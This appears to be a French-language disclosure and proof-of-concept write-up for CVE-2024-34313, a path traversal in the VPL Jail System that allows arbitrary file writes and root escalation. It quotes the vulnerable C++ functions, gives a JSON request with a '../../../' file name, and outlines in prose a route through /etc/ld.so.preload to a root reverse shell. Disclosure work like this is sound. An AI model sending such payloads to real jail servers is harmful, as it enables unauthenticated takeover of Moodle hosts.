
☣️ Ce dépôt contient la description et une preuve de concept pour CVE-2024-34313
Le VPL Jail System jusqu'à la v4.0.2 s'est avéré contenir une vulnérabilité de traversée de chemin permettant l'écrasement arbitraire de fichiers et, par conséquent, une élévation de privilèges jusqu'à l'utilisateur root.
Cette vulnérabilité peut être chaînée avec CVE-2024-34312 pour prendre le contrôle d'une instance Moodle à distance, sans qu'aucune authentification préalable ne soit requise.
Le serveur jail est un serveur C++ qui exécute du code non fiable dans un environnement sandbox en tant qu'utilisateur non privilégié. Le serveur écoute les connexions entrantes sur un port spécifié et lance un nouveau processus pour chaque connexion.
La fonction commandUpdate dans jail.cpp reçoit du client une map de fichiers et de leur contenu.
ProcessMonitor::writeFile est appelée avec le nom du fichier et son contenu, puis concatène simplement le répertoire personnel de l'utilisateur jail avec le nom du fichier pour obtenir le chemin complet.
Le fichier est ensuite écrit sur le système de fichiers à l'aide de Util::writeFile.
Cela permet à un attaquant d'écrire des fichiers arbitraires sur le système de fichiers par traversée de chemin.
Cette vulnérabilité peut être utilisée par un attaquant pour écraser /etc/ld.so.preload avec le chemin d'un fichier objet partagé qui sera chargé par tous les exécutables liés dynamiquement du système, comme expliqué ici. Ce fichier objet partagé peut ensuite être utilisé pour exécuter du code arbitraire en tant que root, par exemple en ouvrant un shell inversé. Pour faciliter l'exploitation, le fichier objet partagé est également chargé à chaque exécution d'un binaire setuid, et la requête au serveur peut inclure un script qui tentera d'exécuter un binaire setuid tel que sudo, garantissant ainsi le chargement immédiat du fichier objet partagé.
Dans la configuration par défaut du système jail, l'attaquant n'a besoin d'aucune authentification.
Un exemple de charge utile pour écrire « hello-world.txt » à la racine du système serait :
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
Le ticket d'administration (adminticket) peut être facilement obtenu en envoyant une requête non authentifiée au système jail. Malgré son nom, il s'agit simplement d'une forme de jeton de session. Les fichiers binaires encodés en Base64 peuvent être téléversés en définissant fileencoding sur 1.
Le fragment de code vulnérable est présenté ci-dessous.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}